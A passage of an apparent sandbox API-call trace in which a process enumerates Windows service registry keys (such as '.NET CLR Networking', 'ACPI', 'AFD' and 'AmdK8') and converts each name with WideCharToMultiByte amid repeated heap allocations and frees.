lpUsedDefaultChar=0x0) returned 19 [0228.716] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1d18, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0228.716] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.716] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.716] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.716] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.717] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0228.717] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0228.717] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1bf8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0228.717] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.717] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.717] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.717] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.717] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0228.717] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0228.717] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1d18, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0228.717] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.717] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.717] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.717] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.717] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0228.717] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0228.717] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1bf8, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0228.717] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.717] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.717] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.717] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.717] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0228.717] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0228.717] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1d18, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0228.718] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.718] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.718] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.718] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.718] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0228.718] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0228.718] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1bf8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0228.718] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.718] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.718] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.718] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.718] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0228.718] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.718] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0228.718] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.718] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.718] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.718] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.718] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0228.718] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0228.718] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0228.718] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.718] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.719] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.719] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.719] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0228.719] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.719] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0228.719] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.719] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.719] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.719] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.719] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0228.719] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0228.719] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1bf8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0228.719] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.719] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.719] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.719] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.719] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0228.719] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.719] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0228.719] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.719] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.719] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.719] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.719] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0228.720] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.720] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0228.720] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.720] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.720] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.720] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.720] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0228.720] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.720] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0228.720] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.720] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.720] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.720] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.720] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0228.720] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0228.720] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0228.720] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.720] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.720] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.720] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.720] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0228.720] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0228.720] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1d18, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0228.721] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.721] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.721] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.721] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.721] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0228.721] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0228.721] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0228.721] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.721] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.721] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.721] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.721] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0228.721] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.721] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0228.721] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.721] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.721] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.721] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.721] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0228.721] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0228.721] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0228.721] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.721] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.721] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.721] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.722] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0228.722] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.722] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0228.722] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.722] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.722] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.722] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.722] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0228.722] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.722] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0228.722] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.722] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.722] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.722] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.722] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0228.722] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0228.722] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0228.722] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.722] 